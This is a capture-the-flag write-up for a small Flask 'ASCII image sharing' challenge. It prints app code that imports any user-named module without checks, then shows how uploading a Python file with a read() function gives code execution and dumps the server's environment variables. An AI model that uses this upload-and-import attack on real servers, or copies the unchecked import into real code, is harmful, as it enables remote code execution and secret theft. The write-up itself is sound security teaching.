Scope

The text that came as description with the CTF was the following:

Look at my fancy ascii image sharing platform. Would be a shame if it were hackable ;)

Only one file was given as a source for this challenge:

fancy-images
├─ app.py

And it’s quite small, in fact that’s all there is to it:

from flask import Flask, request, render_template, redirect
import glob
import json
import sys
import importlib
import os

app = Flask(__name__)


# Setup redirect and hosting of frontend
@app.route('/')
def base():
    return render_template('index.html')

@app.route('/data/<path:page>', methods = ['POST','GET','PUT','DELETE'])
def exec_feature(page):
    try:
        mod = importlib.import_module(f"data.{page}")

        if request.method == 'POST' and hasattr(mod, "create"):
            data=request.form.to_dict()
            print(data)
            return mod.create(**data)

        elif request.method == 'GET' and hasattr(mod, "read"):
            data=request.args.to_dict()
            return mod.read(**data)

        elif request.method == 'PUT' and hasattr(mod, "update"):
            data=request.args.to_dict()
            return mod.update(**data)

        elif request.method == 'DELETE' and hasattr(mod, "delete"):
            data=request.args.to_dict()
            return mod.delete(**data)

        else:
            return "Invalid Request"
    except:
        return "Invalid Request"

if __name__ == '__main__':
    app.debug = False
    app.run(port=5000, host="0.0.0.0")

Walkthrough

When you visit the site, you see an input field for a filename, a large input field for the content, and a submit button.

Below all this there is also a hyperlink that takes you to example.txt, which contains a big “HELLO” made up of ASCII characters. The interesting thing is the URL where the file is accessible: data/upload?name=example.txt. My first thought was LFI by enumerating name or just visiting data/upload, but that didn’t get me anywhere.

However there is an interesting part in the code:

@app.route('/data/<path:page>', methods = ['POST','GET','PUT','DELETE'])
def exec_feature(page):
    try:
        mod = importlib.import_module(f"data.{page}")

It looks like importlib is trying to import any module whose name is given by data/<name> without any checks. And looking at the code right below, it tries to execute a read() method if one exists:

elif request.method == 'GET' and hasattr(mod, "read"):
    data=request.args.to_dict()
    return mod.read(**data)

Since any Python file can be imported as a module, and we can choose the filename for the uploaded content, it should be possible to run our own code, assuming the file is saved in the same directory as app.py. I tried this:

asdf.py

def read(*args, **kwargs):
    return "Hello there"

After uploading you just have to visit data/asdf and voila: a html page with the content “Hello there”, yay!

With this knowledge I spent waaaaay to much time into finding a flag.txt file, but in the end it was just an environment variable -_-

Anyway, uploading this:
asdf.py

import os

def read(*args, **kwargs):
    return str(dict(os.environ))

and visiting data/asdf does the job.